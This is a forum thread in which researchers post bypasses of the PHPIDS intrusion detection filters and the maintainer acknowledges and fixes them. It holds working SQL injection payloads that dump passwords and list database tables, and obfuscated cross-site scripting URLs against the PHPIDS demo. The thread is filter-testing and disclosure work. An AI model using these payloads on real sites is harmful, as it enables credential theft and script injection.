PHPIDS 0.6.5

Re: PHPIDS 0.6.5

Reiners — Wed, 18 Jan 2012 14:18:13 -0600

MySQL 5:
'||(true)#1'
'||true#'

'=true
UNION#
#
#
#original_by_lightos
SELECT \N,group_concat(password)#
##
/*!FROM*/ users WHERE '1

Re: PHPIDS 0.6.5

DebugZer0 — Tue, 13 Dec 2011 06:46:00 -0600

any download url?

Re: PHPIDS 0.6.5

Reiners — Tue, 23 Aug 2011 07:20:35 -0500

@Albino: the new url is https://phpids.org/

Re: PHPIDS 0.6.5

Albino — Tue, 23 Aug 2011 06:49:55 -0500

I was going to check the phpids site to see if you mind other people using it and what for but the site (php-ids.org/) is down :(

Also you almost definitely thought of this ages ago but using a client side filter and checking server-side to see if it's been bypassed provides a way of detecting malicious users that probably has few false positives.

Re: PHPIDS 0.6.5

hafif — Sun, 21 Aug 2011 19:52:52 -0500

.mario Wrote:
-------------------------------------------------------
> @hafif Haha - nice, showHelp() - so some people do
> read the MSDN :D Sorry for the very late reply.
> Just deployed a fix! Thanks!

:) Well I didn't. But now I did, so you might want to add showModelessDialog since it might enable information and cookie theft.
http://demo.phpids.org/?test=%0d%2ba%0d>>showModelessDialog(a(0).a%2ba(0).nodeName%2ba(0).b%2ba(0).c%2ba(0).nodeName.toLowerCase()%2ba(0).d%2ba(0).e);%0d'1';"1"="1";a="1\"\n1<<1\'1'1\"1";

Re: PHPIDS 0.6.5

Anonymous User — Tue, 02 Aug 2011 11:32:01 -0500

@hafif Haha - nice, showHelp() - so some people do read the MSDN :D Sorry for the very late reply. Just deployed a fix! Thanks!

Re: PHPIDS 0.6.5

hafif — Wed, 06 Jul 2011 16:26:31 -0500

:D Indeed.

The next one is an upgrade of an older bypass. I added some evasions just to prove that we have no limitation. I had a hard time generating the letter t, finally I did it:

Works on IE.
http://demo.phpids.org/?test=%0d%2ba%0d>>showHelp(a(0).a%2ba(0).nodeName%2ba(0).b%2ba(0).c%2ba(0).nodeName.toLowerCase()%2ba(0).d%2ba(0).e);%0d'1';"1"="1";a="1\"\n1<<1\'1'1\"1";

//Notice we lose domain context... but still it has some nice stuff.

Re: PHPIDS 0.6.5

Anonymous User — Wed, 06 Jul 2011 09:48:33 -0500

Phew - all fixed. Sorry for the delay and thanks! The showModalDialog bypass was pretty... ironic :D

Re: PHPIDS 0.6.5

lightos — Wed, 29 Jun 2011 13:20:44 -0500

A few bypasses in this bad boy

str'=version()
UNION#
#
#
#
SELECT group_concat(table_name)#
##
/*!FROM*/ information_schema.tables WHERE '1

Re: PHPIDS 0.6.5

hafif — Tue, 28 Jun 2011 22:56:45 -0500

thornmaker Wrote:
-------------------------------------------------------
> nice work hafif :)

Thanks :)

Here is one for Chrome and FF. using a popup.
http://demo.phpids.org/?test=showModalDialog%28%28/javascript/%28{a:/javascript/,b:1}.a%29%29%2b%28/:aler/%28{a:/:aler/,b:1}.a%29%29%2b%28/t.1.%2b1/%28{a:/t%281%29%2b1/,b:1}.a%29%29%29;

or you can just showModalDialog("http://evil.com"), but then you will lose the domain context (and you want it)

If popupblocker is on, it will block the script, if not the script will run.
Otherwise, clicking on the links and launching the "onclick" events, will cause script execution.

I am sure I can get it simplified... but I am to tired (it's 4 AM )

Re: PHPIDS 0.6.5

thornmaker — Tue, 28 Jun 2011 02:16:41 -0500

nice work hafif :)

Re: PHPIDS 0.6.5

Anonymous User — Sat, 25 Jun 2011 13:10:31 -0500

Ha - you seem to know the regexes better than me meanwhile ;)

Again, priceless find! Fixed and thanks a lot.

Re: PHPIDS 0.6.5

hafif — Thu, 23 Jun 2011 21:25:08 -0500

.mario Wrote:
-------------------------------------------------------
> First of all:
> awesome finds! Some were caused by changes in PHP
> 5.3.x, some were plain bugs, one was a bug in the
> demo resulting from the server move - overall I
> had three locations to fix :)

THANKS :)

The following bypass was not so hard. And is using the shift operator <<.
The real challenge, which was extremely difficult was the fact that there are multiple onclick injection points which caused errors before the script tag is launched (It should be noted that this difficulty might be limited to the scope of the demo application).

But I managed to get everyone satisfied:
http://demo.phpids.org/?test=%0d%2ba%0d>>setTimeout(a(1).a%2ba(1).b%2ba(1).c,1000);%0d'1';"1"="1";a="1\"\n1<<1\'1'1\"1";

Works on IE.